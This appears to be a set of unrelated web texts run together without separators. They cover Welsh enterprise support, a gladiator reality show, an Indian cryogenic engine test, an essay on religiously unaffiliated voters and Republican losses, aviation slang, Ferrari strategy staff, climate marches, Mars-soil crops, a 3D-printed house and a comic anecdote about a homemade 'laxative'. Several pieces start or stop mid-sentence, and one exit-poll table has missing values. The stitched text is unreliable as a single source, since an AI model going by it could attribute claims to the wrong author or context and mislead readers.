"I've seen at first-hand the advantages of learning a second language so I decided to turn my love of teaching to a younger audience in a bid to help them learn a skill that could open doors for them."
Image copyright BG Effect Image caption Laura Doel and Moe Forouzan from the BG Effect help people turn their business ideas into reality
Two men behind another business have worked on TV soaps Eastenders and Coronation Street, as well as at the Glastonbury Festival and Disney on Ice.
However, they are not actors or performers but specialists in making sure sets are fireproof.
They built Flame Protect UK up from scratch in Abertillery and the BG Effect is helping with an expansion into carpet and office cleaning services.
BG Effect facilitator Laura Doel said: "It's our clients who make their own dreams come true, we just give them a helping hand."
The man behind the model, US-based Dr Ernesto Sirolli said: "The future of every community lies in capturing the passion, energy and imagination of its own people."
Cardiff Business School's Prof Munday said not just Blaenau Gwent but the wider valleys area has found it difficult to attract manufacturing or services inward investment.
He believes the BG Effect is "akin to developing the foundation economy" and helped people make their own opportunities.
But he cautioned: "The challenges faced for this area should not be underestimated and, running alongside these innovative programmes, there still needs to be attempts made to market the wider area to inward investors.".
Eight 21st century lads are to be transported back to the Roman Empire to see if they can cut it as gladiators.
The handsome boys will fight it out with help from their loving girlfriends. They may have the muscles but do these lads have what it takes to go down in history? Cameras will follow eight modern day couples as they're transported to an ancient world where they'll live and fight like gladiators did 2000 years ago.
Along the way there’ll be blood, sweat, tears and plenty of laughs. However, only the very best will make it through to the Emperor's Games where one of them will emerge victorious and take home the Emperor's gold (which today works out at ‘approximately' £10,000!).
The boys will be trained by the fearsome "Doctore", played by David McIntosh, and take part in daily, physical tasks, leading up to a grand final where they’ll battle it out in the colosseum in front of a baying crowd. Those who don't cut it will be banished from the city.
Acting as the eyes and ears of the elusive Emperor is his Assistant, "Dominus", played by Tom Bell.
The boy’s girlfriends will join them on their journey, helping to train and prepare them for the Games as well as immersing themselves in ancient Roman tasks - from wine making to sculpting.
Whilst living in ‘ancient Rome’, the couples will wear the attire of the day - sandals, leather loin cloths and gold lamé pants, and share a living space inside a Roman palace.
But will these modern men survive in an ancient world, and more importantly, who will triumph in the Emperor’s Games?Continuing its saga of self reliance in space projects, India has developed a cryogeic engine, to be used to propel the country's Geosynchronous Satellite Launch Vehicle.
Indian Space Research Organisation (ISRO), on Saturday, successfully tested it at the Liquid Propulsion Systems Centre at Mahendragiri in Tamil Nadu's Tirunelveli district.
"The acceptance test of the indigenous cryogenic engine for the forthcoming GSLV-D5 flight was conducted successfully for 200 seconds at 17:10 hrs....," a ISRO official said here.
"The performance of the engine was as predicted," he said.
The maiden flight test of the indigenous cryogenic stage onboard GSLV-D3 failed in May 2010 after it developed a snag and the rocket plunged into the sea minutes after lift-off.
ISRO chief K Radhakrishnan had said last month that GSLV would undergo two more tests at the Mahendragiri facility.
He had also said ISRO was planning a GSLV launch with Indian cryogenic engine during September-October this year.
ISRO plans to fly two GSLV rockets at an interval of six months with the third one meant for the Chandrayaan-2 moon mission.In the past several years, many trees have been felled and pixels electrocuted in the service of discussion about the impact of Hispanics on the American electorate. No one knows for sure which way they’ll vote in the future but everyone is interested in discussing it. Curiously, though, an even larger political shift is taking place yet receiving almost no attention whatsoever from political reporters—the emergence of post-Christian America.
Judging solely from the rhetoric and actions of the Republican presidential candidates this cycle, you would be hard-pressed to tell much difference between 2016 and 1996, the year that the Christian Coalition was ruling the roost in GOP politics. Sure there’s a lot more talk about the Middle East than before, but when it comes to public displays of religiosity, many of the would-be presidents have spent the majority of their candidacies effectively auditioning for slots on the Trinity Broadcast Network.
Even Donald Trump, the thrice-married casino magnate turned television host, has gone about reincarnating himself as a devout Christian, despite his evident lack of familiarity with the doctrines and practices of the faith.
Thus far, however, the public faith efforts of the candidates not married to a former nude model have all been for naught. Former Arkansas governor Mike Huckabee and former Pennsylvania senator Rick Santorum, both of whom won Iowa in past years, dropped out after failing dismally in the Hawkeye State’s caucuses. Louisiana governor Bobby Jindal quit months before even a single vote had been cast. Texas senator Ted Cruz, despite being significantly better financed and supported by more conservative leaders than previous Christian nationalist candidates, hasn’t been able to do more than eke out a victory in Iowa.
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Christian Right candidates have always had a difficult task in running for president (none has ever even gotten close to the nomination) but their even worse track record this cycle—in contrast to that of Donald Trump—is a perfect window into trends that will set the pace of American politics for decades to come: Americans are moving away from Christianity, including people most likely to vote Republican. In this changed politics, which exists right now, the GOP can only hope to succeed by greatly expanding its appeal to non-Christians.
While the process of secularization has been slower-moving in the U.S. compared to Europe, it is now proceeding rapidly. A 2014 study by Pew Research found that 23 percent of Americans say they’re “unaffiliated” with any religious tradition, up from 20 percent just 3 years earlier. The Public Religion Research Institute confirmed the statistic as well with a 2014 poll based on 50,000 interviews indicating that 23 percent of respondents were unaffiliated.
The trend away from faith is only bound to increase with time. According to Pew, about 36 percent of adults under the age of 50 have opted out of religion. At present, claiming no faith is the fastest growing “religion” in the United States. Between 2007 and 2012, the number of people claiming “nothing in particular” increased by 2.3 percent, those saying they were agnostics increased by 1.2 percent and those claiming to be atheists increased by 0.8 percent. No actual religious group has experienced anywhere near such growth during this time period.
Looked at over the longer term, the trend is even more discernible. In 1972, just 5.1 percent of Americans said they had no religious affiliation, according to the University of Chicago’s General Social Survey. In 2014, that number was 20.7 percent, an increase of more than 400 percent.
To put that growth in perspective, consider that Hispanics were 4.5 percent of the U.S. population in 1970 (according to the Census Bureau) and 16.9 percent by 2012 (according to GSS). Despite receiving almost no attention whatsoever, people with no religion are both more numerous and increasing their numbers at a faster pace than people of Hispanic descent. (Unfortunately GSS did not measure Hispanic origin until 2000 so the comparison isn’t completely perfect).
While those statistics on the growth of religiously unaffiliated ought to be impressive enough to warrant serious discussion, the reality is that public polling almost certainly underestimates the numbers of the faithless because many religious Americans have strongly negative opinions of those who are atheists or agnostics. This negativity makes non-believers less willing to publicly admit to their opinions.
A 2014 study by the Public Religion Research Institute found that people of all races and religious creeds (or lack thereof) were more likely to claim they attended church services in a telephone survey than they were during a self-administered web survey where their opinions would not be solicited by a person in conversation.
According to the research, religiously unaffiliated people were 18 percent more likely to say they attended church services on the phone than they claimed to online. Americans in general were 13 percent more likely to give the religiously correct answer in a phone survey.
The Religiously Unaffiliated Are More Than Unchurched
Of the few conservatives who have actually responded to this momentous demographic development, the typical response has been to claim that this large group of non-believers are simply “un-churched.” Over time, the argument goes, these people will return to the sanctuary and back into the Grand Old Party. The argument might be a comfortable one to conservatives of faith, but it is not supported by the facts.
When asked to identify their specific beliefs about the nature of God for a 2008 poll by the American Religious Identification Survey (ARIS), 7 percent of non-believers advocated an atheist perspective, 35 percent were agnostics, and 24 percent were deists. Just 27 percent of said they “definitely” believed in a personal God. In a private online survey conducted by the Public Religion Institute, just 19 percent of the religiously unaffiliated agreed with the statement that “God is a person.” 43 percent of respondents said they did not believe in God while 35 percent said that they believed God is an impersonal force.
While some of those who are unaffiliated do profess a belief in God, a huge majority of those with no religion appear utterly uninterested in joining up with any particular faith tradition. A full 88 percent told Pew they were “not interested.” That is likely because Americans of no faith have strong, negative viewpoints about religious organizations, overwhelmingly characterizing them as “too concerned with money and power, too focused on rules and too involved in politics.” Nearly half of these individuals describe themselves as neither spiritual nor religious.
While religiously unaffiliated people in days gone by might have been “unchurched,” this is no longer the case.
Fewer Christians Means Fewer Republicans
The implications of Americans’ exodus from cultural Christianity are significant for the political right because the religiously unaffiliated appear to have a real preference for Democrats. In fact, a person’s religious perspective is generally the most accurate predictor aside from party identification of how he or she will vote.
It is this changing aspect of the electorate that will have more of an impact on the conservative movement’s future than any other demographic shift. Already, it has decimated Republican vote totals in many western states such as California, Montana, New Mexico, and Colorado. True, California and New Mexico have substantial Hispanic populations but Montana does not and neither does northern California, the furthest Left region of the Golden State. The fact of the matter is that many white voters are abandoning faith and as they do, they are leaving the Republican Party as well. Many younger white voters are never even joining up with religion—and the Republican Party by extension. This demographic trend is creating what might be called the “Godless Gap,” a voting disparity that is particularly harmful to Republicans since Democrats have been much better at getting votes among Christians than the GOP has among the irreligious.
While secular people have always favored Democrats for as long as the data goes back, the situation has actually become even worse in recent years for the GOP. Republicans have long trailed Democrats among non-religious Americans (hereafter called “Nones”) but since the late 1990s, they have even been behind independents, according to GSS. Research conducted by ARIS also confirmed this overall trend even though it did not ask people to indicate a party toward which they might incline.
In the 1990 ARIS study, 42 percent of respondents who claimed no religion said they were “independent,” 27 percent said they were Democrats, and 21 percent said they were Republican. According to the 2008 poll (the most recent) 42 percent of people with no religious affiliation said they were “independents,” 34 percent said they were Democrats, and just 13 percent said they were Republicans.
A 2012 survey by Pew Research confirmed this trend as well. Asked about their voting preference during the previous presidential election cycle, people of no faith said they had voted in about the same proportion for Barack Obama as white evangelical Protestants did for John McCain. Pushed to identify their own partisanship, a full 63 percent said they favored Democrats. Just 26 percent said they leaned toward Republicans.
If partisanship and religious identification were actually independent of each other, this type of shift would not be nearly so pronounced since as the ranks of the non-religious grow, they ought to be exhibiting characteristics more in common with the general population as one can observe when one examines Nones in non-political contexts such as incomes, divorce rates, and (to a lesser degree) racial composition. And yet that is not what appears to be happening when we examine their political preferences.
The likely reason why Republicans have declined in popularity among the non-religious is GOP’s long habit of identifying itself as a Christian party standing up for “Judeo-Christian values.”
As increasing numbers of whites and Asians have chosen non-Christian religions or no faith tradition at all, they are also leaving the Republican Party. Some are joining up with Democrats but many are choosing “none of the above” just like what they are doing with religion. Much of this movement parallels already established patterns observed by Jewish voters who were much more inclined toward Republicans before Christian nationalism became a force within the party.
Republicans Probably Lost Young Adults Due to Decline of Faith
As has already been noted, people claiming “no religion” in surveys are much more likely to be young. As mentioned above, just over 30 percent of adults between the ages of 18 and 29 are Nones. But generational attrition—the gradual replacing of older religious people with younger secular ones—is not the only reason why the ranks of the Nones have expanded. People under 65 have also become more secular in recent years. As noted by Pew:
Generation Xers and Baby Boomers also have become more religiously unaffiliated in recent years. In 2012, 21 percent of Gen Xers and 15 percent of Baby Boomers describe themselves as religiously unaffiliated, up slightly (but by statistically significant margins) from 18 percent and 12 percent, respectively, since 2007.
Their lack of interest in religion is having an effect on the voting patterns of younger Americans. After winning voters ages 18-29 in the 1972, 1984, and 1988 presidential elections (Reagan lost them by 1 point in 1980), the best the Republican Party has done among this age group is a 47-47 tie in 2000. Even that was a hollow achievement, however, because 5 percent of the young voted for left-wing Green Party candidate Ralph Nader.
In 2004, with Nader no longer a factor, young voters broke for Democrat John Kerry 54 percent to 45 percent. In 2008, Democrat Barack Obama won 66 percent of their votes to John McCain’s meager 32 percent. In 2012, Obama did slightly worse among this age group (which is almost a given since he did so well the first time). He still overwhelmingly won their votes 60 percent to 37 percent, however.
The past shows that young people are not natural knee-jerk Democrat voters, but clearly Republicans have been losing younger voters lately. Religious differences are almost certainly a factor. According to a 2014 poll commissioned by the American Bible Society, just 35 percent of adults between the ages of 18 and 29 believe the Bible “contains everything a person needs to know how to live a meaningful life.” The millennial generation is also much more skeptical about the role of the Bible within society. Just 30 percent of that age group surveyed said they thought the Bible had “too little influence” on Americans. By contrast, 26 percent said the Bible had “too much influence” on society.
The “Godless Gap” and the 2012 Election
Beyond the national trends, the increase in secularization has also had an effect in the different regions of the country where Nones are concentrated. As noted by the 2008 ARIS study, 20 percent of people living in California, Oregon, and Washington were non-religious, 19 percent of people in the Mountain West were Nones, and a full 22 percent of individuals living in New England had no religious faith.
It is no coincidence that as non-belief has increased in these regions, the Republican party’s fortunes there have declined accordingly. The 2012 election provided many examples of how Republicans are losing elections thanks to the Godless Gap. In 7 key states (Pennsylvania, Florida, Virginia, Wisconsin, Michigan, Iowa, and New Hampshire), Mitt Romney won the majority of the Christian vote but ended up losing overall because he was defeated so soundly among non-Christians.
2012 Presidential Vote by State and Religious Belief
Source: Exit poll conducted by Edison Media Research
State Protestant Obama Protestant Romney Catholic Obama Catholic Romney Unaffiliated Obama Unaffiliated Romney Iowa 46 53 47 52 75 22 Florida 42 58 47 52 72 26 Pennsylvania 49 51 49 50 74 25 Virginia 45 54 45 55 78 22 Wisconsin 45 54 44 56 73 25 Michigan 48 51 44 55 New Hampshire 42 56 47 53 73 26
Even though the state is famous for its religiosity, in Iowa, Nones were indisputably the margin of victory for Obama. According to exit polls, Romney won the votes of the 62 percent of Iowans who called themselves Protestants (53-46) and the Catholic 26 percent (52-47) but he overwhelmingly lost the None vote 75 to 22 percent. With its overwhelmingly white population, Iowa was Romney’s to lose. And he did—by doing so poorly among white voters with no religious affiliation. In the end, the former Massachusetts governor lost the Hawkeye State by less than 100,000 votes.
Non-Christians also put Obama over the top in Pennsylvania, a state which Romney’s top advisers believed was “really in play” right up until Election Day. And they were right—so long as one only looked at the vote of the Christian faithful (77 percent of the electorate). Romney actually managed to win both the Protestant and the Catholic votes quite narrowly, 51-49 and 50-49 respectively, but his tremendous loss among the 12 percent of Pennsylvanians who were not religious overwhelmed his share of the Christian vote. Because he lost the None vote 74-25, Romney ended up losing the state 52 to 47 percent.
The same thing happened in Florida as well, another state that Romney was counting on winning. He cleaned up among the 51 percent of Protestant voters (58-42), won the 23 percent Catholic vote (52-47) but ended up losing the 15 percent None vote 72 percent to 26 percent. He also sank among the non-Christian religious as well. In the end, Romney lost the state by just 74,309 votes. Had he done just a little better among non-Christians, Romney would have been able to put the Sunshine State into his column.
Virginia was another state that was Romney’s to win had he done better among non-Christians. According to exit polls, Romney captured small majorities among Protestants (54 percent to 45 percent) and Catholics (55 to 45) but was clobbered among non-Christian believers (78-22) and among those with no religion (76-22).
The None vote also cost Romney the state of Wisconsin. As with the other states examined above, Romney won the Catholic vote (56 percent to 44 percent) as well as the Protestant vote (53 to 45 percent) but lost so overwhelmingly among non-believers (73 to 25 percent) that he ended up losing the Badger State 53 to 46 percent.
The same thing happened in Romney’s native Michigan where he won among Protestants 51 to 48 percent and among Catholics (55 to 44 percent) but lost so overwhelmingly among non-believers that he ended up losing the state 54 percent to 45 percent.
The former Massachusetts governor also lost New Hampshire despite winning the votes of both Catholics (54 percent to 46 percent) and Protestants (57 percent to 42 percent). Because he lost the None vote so badly (71-28), Romney ended up losing the state’s electoral votes by less than 40,000 votes.
Based on the data above, it is safe to say that the Godless Gap cost Mitt Romney the election.
While many of the Nones who voted against him are hard-core Democrats who never would have considered voting GOP, it is not unreasonable to think that Romney could have done better among non-Christians, especially given the decline in Republican partisanship among Nones mentioned above. Had Romney managed to do improve his performance among people who don’t believe the Bible is true, he could have won as many as 304 electoral votes.
GOP’s Choice: Christian Nationalism or Political Reality?
That so many non-Christians would choose not to vote for Republicans and conservatives really should come as no surprise considering the fact that many Christian conservatives—even at the very highest echelons of power and influence—seem to be utterly unaware that their repeated use of Christian symbolism and rhetoric can be perceived as offensive or non-inclusive to people who do not share their beliefs.
As conservative author Dinesh D’Souza, a Christian immigrant from India, has described it: “Whenever a Gujarati or Sikh businessman comes to a Republican event, it begins with an appeal to Jesus Christ. While the Democrats are really good at making the outsider feel at home, the Republicans make little or no effort.” That’s also true of people who do not believe in any faith.
Even if non-Christians do not take offense to being excluded, at the very least such public displays of Christian belief at ostensibly secular events certainly do not encourage them to participate or to become enthusiastic. National Review columnist Jonah Goldberg (who is Jewish by ancestry although he is non-practicing) described the phenomenon well in a 2012 column:
I’ve attended dozens of conservative events where, as the speaker, I was, in effect, the guest of honor, and yet the opening invocation made no account of the fact that the guest of honor wasn’t a Christian. I’ve never taken offense, but I can imagine how it might seem to someone who felt like he was even less a part of the club.
As bad as things are now for Republicans with regard to secular voters, however, they seem to be worsening. A 2012 study by the Pew Research Center found that the Democratic share of the None vote has increased significantly since 2000 when it stood at 61 percent. In 2004 it rose to 67 percent. In 2008, an incredible 75 percent of the religiously unaffiliated voted for Barack Obama. In 2012, not quite as many, 70 percent, did so again. As it stands, people with no faith tradition have shifted a full nine points toward Democrats.
Unless action is taken—and this must include a concession that most Americans support same-sex marriage—as the non-Christian portion of the country continues to grow, the prospects for the conservative movement are going to attenuate as the Godless Gap widens.
Following Mitt Romney’s 2012 loss, there has been a lot of discussion about how conservatives can better reach out to non-whites. The Right needs to have a similar discussion about doing the same for non-Christians, especially since many non-whites are also non-Christian.
In 2016 and beyond, Christian conservatives face a choice. They can embrace identity politics and become a small group of frustrated Christian nationalists who grow ever more resentful toward their fellow Americans, or they can embrace reality—following people like Russell Moore and TAC’s own Rod Dreher, who want Christians to first put their own affairs in order and then render unto Caesar the things which are Caesar’s.
Matthew Sheffield is president of Dialog New Media, a marketing and technology consulting firm. He was one of the nation’s first political bloggers and launched NewsBusters and the Washington Examiner. He’s a contributing editor at Bold.$100 hamburger ("hundred-dollar hamburger") is aviation slang for the excuse a general aviation pilot might use to fly.[1][2]
A $100 hamburger trip typically involves flying a short distance (less than two hours), eating at an airport restaurant, and flying home. "$100" originally referred to the approximate cost of renting or operating a light general aviation aircraft, such as a Cessna 172, for the time it took to fly round-trip to a nearby airport. However, increasing fuel prices have since caused an increase in hourly operating costs for most airplanes, and a Cessna 172 now costs US$95–$130 per Hobbs hour to rent, including fuel.[3]
In Perth, Western Australia, a similar mentality resulted in the 'Rotto Bun Run'. A group of pilots who had run out of hot cross buns on Good Friday decided to fly to the closest open bakery on Rottnest Island. The run is now an annual charity event.[4][Updated] The Italian media today is predicting that Neil Martin, the head of race strategy at Ferrari, is set to follow the list of high profile names out of the door at Maranello.
Yesterday Hirohide Hamashima, the ex Bridgstone tyre expert left and today La Gazzetta dello Sport reports that new team principal Maurizio Arrivabene will dispense with Martin's services.
At the same time it appears that Ferrari has managed to recruit Jock Clear, who was Lewis Hamilton's performance engineer at Mercedes. He is is believed to be on his way to Maranello along with Bob Bell, who resigned from Mercedes earlier this year.
Martin, 42, is an interesting figure, in many ways one of the architects of the model and simulation based race strategy which is commonplace today in F1. Martin's background was in finance. In the 1990s he was studying to move into the City of London and was developing a computer model on risk assessment for the stock market to be used by banks and financial institutions. A keen fan of F1, he realised that it could work for planning race strategy.
He took it to McLaren and Martin Whitmarsh hired him on the spot. Martin stayed with McLaren, woking alongside Pat Fry, until the end of 2005 when he was headhunted by Red Bull.
After the strategy debacle in Abu Dhabi in 2010, which cost Fernando Alonso and Ferrari the world championship, Martin was hired by Pat Fry, who was then technical director at Ferrari, where he has been ever since. With Fry's departure from the team, it appears that Martin's support has diminished. It will be fascinating to see who Ferrari hire.
The leading strategy figure in the sport at present is Mercedes' James Vowles (above), who managed to juggle two cars fighting for wins this season, attempting to give both drivers a chance to win in a highly political and heavily scrutinised environment. Vowles benefitted from many years working under Ross Brawn at Honda, Brawn and Mercedes.
Meanwhile it has been a period of mixed fortunes for Martin and Ferrari; not having a competitive car makes strategy more challenging, but with Alonso they have managed a number of results which have exceeded expectations given the car's performance relative to competitors.
However there have also been some strange decisions this year in a number of races.While some corporate-owned media predicted that “protest fatigue” might beset climate marchers, especially those who had been on the March for Science one week earlier, the April 29 actions drew crowds all around the United States. The date coincided with Trump’s 100th day in office. Numerous demands were made to keep and expand the many environmental protections he and his administration are bent on destroying.
Protesters marched in record heat — 95 degrees — in Washington, D.C., and in blizzard conditions in Denver. Dire warnings that time is running out to reverse the damage caused by climate change also called on people to “rise up” and stop the devastation.
Organizers say the D.C. march drew 200,000 participants, more than expected, despite the intense heat. Some 50 calls for medical assistance were made by marchers.
More than 375 other marches took place in the U.S., and many more worldwide. Workers World Party members and friends organized militant, anti-war, socialist-oriented contingents in several marches around the country. Following are reports from activists in several cities.
Indigenous peoples lead the way
Led by a contingent of Indigenous people from around the U.S., thousands marched through Washington, D.C. The march began at the Capitol and circled the White House, ending at the Washington Monument, where a rally opened with Native speakers acknowledging the Water Protectors at Standing Rock in North Dakota.
Raising many issues besides climate change, Workers World Party members led a boisterous anti-capitalist, anti-imperialist contingent with banners proclaiming “System change, not climate change — Stop capitalist pollution with socialist revolution” and calling on marchers to resist imperialist war against Syria, north Korea and Venezuela.
The WWP contingent chanted “No hate, no fear, immigrants are welcome here!” and “Money for jobs, not for war — Hands off Korea!” It swelled during the day, drawing others who were against capitalism. Many marchers stopped to talk and take pictures next to the WWP banners.
One middle-aged African- American resident of D.C. told activists how her mother was a socialist until the day she died and took her daughter to many marches. A young African-American man from Connecticut joined the contingent with a handmade sign reading “Stop capitalism — It is killing our planet.”
Against Big Oil and pipelines
At least 5,000 people in Denver braved 28-degree weather with blowing snow during the People’s Climate March. Young and old activists understand not only that oil, gas and methane are heating the planet, but that oil pipelines crossing the land cause danger to congested human communities and water supplies. The oil companies are taking back the last remaining lands of Indigenous peoples by using the courts and so-called “democratic” government to profit, no matter the cost to the people.
Colorado state government caters to the wishes of the oil companies. They advertise how safe and controlled their operations are, yet huge amounts of methane are poisoning the air. A methane explosion on April 27 in Firestone, Colo., blew up a house, killing two people. Nothing remained of the structure, which was vaporized. Anadarko Petroleum immediately closed down 3,000 wells, yet said there was no danger.
In Philadelphia, hundreds of environmentalists, Standing Rock supporters and others concerned about global warming marched with banners and homemade signs. WWP member Morgan Robinson spoke at the beginning rally at City Hall, focusing on the need to oppose imperialist wars and the world’s worst polluter of greenhouse gas emissions: the Pentagon.
Organized by Philly with Standing Rock #NoDAPL, the march was followed by a panel discussion featuring Grandmother Regina Brave and Charles Whalen, Lakota activists instrumental in the resistance to the Dakota Access Pipeline; Pam Africa of MOVE; Christa Rivers of WWP; and Ron Whyte of Deep Green Philly.
‘Communities will lead the change’
The climate change march in Portland, Ore., was 3,000 strong, led by people of color, those from low-income communities, and rural and tribal people. “Our communities must lead the efforts to address climate change,” said march organizers.
Speakers addressed intersecting issues facing frontline communities in the struggle for climate justice. These included housing, transportation, clean energy, access to green spaces and food, and the struggles for workers’ rights, immigrant rights and the rights of other marginalized communities. The crowd agreed that those facing environmental racism and injustice must be at the center of the struggle for climate action.
March organizers were OPAL Environmental Justice Oregon and the Oregon Just Transition Alliance. The OPAL statement said: “Climate change is only a symptom of much deeper crises that are happening worldwide — the ecological crisis, economic crisis, and the crisis of empire. These crises come from the current dominant economy, created by a system that only works for a few [and] which relies on exploitation and extraction of resources. We must create a system that works for everyone, based on cooperation, close communities, and regenerative processes.”
‘No wall! Love the Earth!
Thousands gathered at the San Diego County administration build- ing demanding the Trump administration take action on climate change. The People’s Climate March banner was raised in the front entrance as the crowd cheered. After a rally came a march beginning and ending at Waterfront Park. People carried signs, drummed, danced and chanted “Rise up! No wall, resist! Love the Earth! All children deserve clean air!”
Andre Powell, Viviana Weinstein, Joseph Piette, Lyn Neeley and Gloria Verdieu contributed to this article.
Photos: David Card in Washington, D.C.; Joseph Piette in Philadelphia; Viviana Weinstein in Denver.This article is over 2 years old
Dutch researchers successfully raise radishes, peas, rye and tomatoes in soil mixed to match that of the red planet – giving hope that settlers could grow food
You can eat vegetables from Mars, say scientists after crop experiment
Crops of four vegetables and cereals grown in soil similar to that on Mars have been found safe to eat by Dutch scientists.
Radishes, peas, rye and tomatoes grown on dirt mixed on Earth to copy that of the red planet were found to contain “no dangerous levels” of heavy metals, said the team from Wageningen University in the Netherlands.
“These remarkable results are very promising,” said senior ecologist Wieger Wamelink.
“We can actually eat the radishes, peas, rye and tomatoes, and I am very curious what they will taste like.”
Spuds in space: is growing potatoes on Mars key to surviving climate change? | Dan Collyns Read more
Mars settlers would have to take their first food supplies with them and then plant crops in order to survive.
In the 2015 film The Martian, Matt Damon plays an astronaut stranded on Mars who has to grow potatoes to survive.
Using soil developed by Nasa, the university has been experimenting since 2013 and has managed to raise 10 crops.
But some uncertainty remains about which ones might absorb the high levels of heavy metals such cadmium, copper and lead found on Mars.
Further tests are needed on the remaining six crops, including potatoes, in research that is being backed by a crowd-funding campaign.
Nasa plans a manned trip to Mars within the coming decades and similar projects are being pursued by the US billionaire Elon Musk and the Dutch company Mars One, tentatively aiming to set up human colonies.
“It’s important to test as many crops as possible, to make sure that settlers on Mars have access |
thanks to Al Sharpton. No. I'm ashamed of this president, I think he's a disgrace. I'm ashamed of this Attorney General, I think he's a disgrace. They have no respect for you, I don't care what your color is. They have no respect for this country. None. (The Mark Levin Show, July 19, 2013)May 5, 2016 | By Tess
Earlier this week, Eric Schmidt, CEO of Alphabet, Google’s parent company, announced the benefits that 3D printed construction processes could have on the world, further reinforcing our long held belief that 3D printed buildings will be the future of construction. With a number of innovative companies researching and developing additive manufacturing processes to reinvigorate and even revolutionize the construction industry, we have little doubt that that is where the industry is headed. One such company is Chattanooga, Tennessee based startup Branch Technology, which has just announced it will begin the construction of Chattanooga’s first 3D printed home this July.
Earlier this year, Branch Technology announced its Freeform Home Design Challenge, which invited anyone, from architectural firms to individuals, to design a single family home using their innovative 3D printing Cellular Fabrication (C-Fab) technique. Last week, on April 22nd, the winners of the competition were announced, and the winning design, “Curve Appeal” designed by architecture firm WATG Chicago, will be constructed beginning in July.
As mentioned, the building will incorporate Branch Technology’s C-Fab technique, which differs slightly from other 3D printing construction methods we’ve written about in the past. Essentially, the Cellular Fabrication technique uses a customized industrial robotic arm (the Kuka KR 90), which extrudes a carbon fiber reinforced ABS plastic material into complex, large-scale structures up to 8,772 cubic feet in size. What sets these structures apart from other concrete additive manufacturing processes, is that they only actually make up the inner framework of the building structure. That is, once printed, the additively manufactured framework can be sprayed with traditional low-cost building materials like foam insulation and concrete to make a strong, hybrid building structure.
By using 3D printed complex structures as an interior framework surrounded by concrete, the building walls can benefit from the reduced weight afforded by 3D printing, as well as the structural integrity offered by concrete. The C-Fab walls are reportedly just as strong as traditional concrete walls, but weigh much less, for example, a 1.5 lb plastic wall can support up to 1,500 lbs, while a 2.5 lb plastic wall with spray foam can support 2,980 lbs. Of course, what 3D printing the inner framework also allows is freedom of design.
WATG Chicago’s winning “Curve Appeal” home demonstrates this freedom of design perfectly, as it defies traditional box-like house structures with its entirely curved, even cave-like shape. In this sense, the innovative home design falls in line with Branch Technology’s own aesthetic philosophy of being inspired by nature. As founder and CEO of Branch Technology Platt Boyd explains, “[The structures] really have no geometric limitations, so it opens up a wide array of possibilities for design and building and architecture. The vision is to look at how things are made in the natural world and then begin translating that into how we can make things in the built environment, whether it be walls or other things.”
On top of having their design selected for construction, WATG Chicago also took home an $8,000 cash prize for having won the competition, and the two runner ups, City College of New York’s “Home(less)+House” and Romanian Spiru Haret University’s “Urban Leaf”, won $1,000 each. In preparation for Curve Appeal’s imminent construction, the Chattanooga startup must still pass some certifications and safety standards, which are reportedly underway. Branch Technology is currently looking for supply partners to make the innovative 3D printed house a reality.
Posted in 3D Printing Application
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sher wrote at 6/29/2016 7:35:57 AM:price of 3d printer for building housePaul Hitchings wrote at 5/12/2016 6:29:44 PM:This tech is really exciting in my honest opinion.Updates.
Hey guys (y'all),
We don’t update this very often, which is probably why we let the URL lapse, which is probably why if you go to pauladeenridingthings.com, you’ll see some poor formatting and blatant advertising for some weird alarm panel? We don’t know. Don’t ask us. Ask “Ademco” or whoever is advertising them. We aren’t “redesigning” the site, nor do we have any new “feautres” planned. What would even count as features? A talking Paula Deen riding a camel wishing you a happy birthday? Actually, we call dibs on that, Ademco and/or friends.
We aren’t planning on “stopping” the site or shutting down anytime soon, but if you have this little neglected corner of the internet bookmarked, which we sincerely hope you don’t, update it to the correct url of pauladeenridingthings.tumblr.com.
As for those who are wondering our opinions on the recent Deen-related headlines, we’d like to state that we have no comment, and are again in no way officially connected to Mrs. Deen.
Thx.So..
My 13 year old son thinks I am stressed out, and apparently he has been researching ways to help reduce that stress..
It really started innocently enough….
Over the weekend, while away at his fathers house, came up with a plan
— a ‘solution’ —
to combat my stress. An herbal tincture, if you will.
He came home from his dads, a smile on his face, a little bottle in his hand. I gave him a hug and welcomed him home. All normal so far. As normal as it gets, anyway.
Then.. It began. And the next 2 hours of my life was forever changed….
My Son: “I know how stressed you’ve been, Mom, so I made you a laxative.” Me: “A what?!” My Son: “A laxative..you know, so you can relax?”
I have the instant tightening of my tummy.. the pre-hysteria seeping in. I try, oh, how I try to hold in the laughter. I bite my lip, as I ask..
Me: “Where did you learn about..umm.. laxatives?” My Son: “Well, the other night after you went to sleep, I was reading about laxatives in that book.. that homeopathetic book. I think you need to relax more, Mom.”
Yup.
You guessed it.
He found a recipe in a homeopathic book for a laxative.
L-A-X-A-T-I-V-E
That is when I totally lost it. I couldn’t hold back. It just wasn’t going to happen. Laughter had gotten me.. I was done for. I fell off the sofa, in a fit of overwhelming giggles, tears starting to form, on my hands and knees laughing so hard I couldn’t breathe at all….
“A laxative” I say..well, attempted to say. It came out more like “Alaxativeeeeeeeebawhahahahahahahahahahahahaha” Me: “Do you know what a laxative is?” My Son: “Something to make you relax?” Me: “Well, it makes part of you relax.”
Of course, that last line made me die laughing again. I tried to stand up, and ended up falling back on the sofa, my body doubled over.
Meanwhile, all I kept thinking was..
Laxative Boy.. hurry!! there are lives at stake.. from all the steak we ate.. Help!! Help!!! The LaxMobile — a portable toilet with wheels.. does 80MPshiiiiiit. The LaxCave….?? Lax-O-Grams Stress-Less Laxatives.. and on and on and on.
I finally got enough air in my lungs to take a breath, and told him..
Me: “A laxative is something a person takes to help them.. you know.. go to the bathroom. “
My Son: blank stare Me: “You know.. when you can’t..um.. go. Remember last summer, when I gave you the prune juice, because you couldn’t go? That is a kind of laxative.” My Son who has now turned a white shade of pale: “Are you kidding me?!?! Oh my god!! I gave a whole bottle to Grandma, and she drank all of it!.”
He said this with a huge amount of panic in his voice, while grabbing his phone to call his Grandmother and tell her not to drink anymore of his “relaxative”. (Too late — she spent the next 3 days viewing the floor tiles of her bathroom, while on her porcelain throne. )
This is when I completely lost it. 30 minutes of laughing hard. My tummy muscles were in agony, my shoulders ached, my voice was raspy, and I was shaking all over. I couldn’t even /look/ at my son without busting in to severe laughing fits.
He endured this for 2 + hours. All the while I called him “Laxative Boy”. It was days of laughter for me. I would walk through a room, catch a glimpse of him out of the corner of my eye, and start laughing again. It really was the best laugh I had had in /years/.Every year in February, John and I embark on a task both excruciatingly difficult and deliriously fun. And, ahem, I’m not talking about anything in 50 Shades of Grey. Focus. Focus.
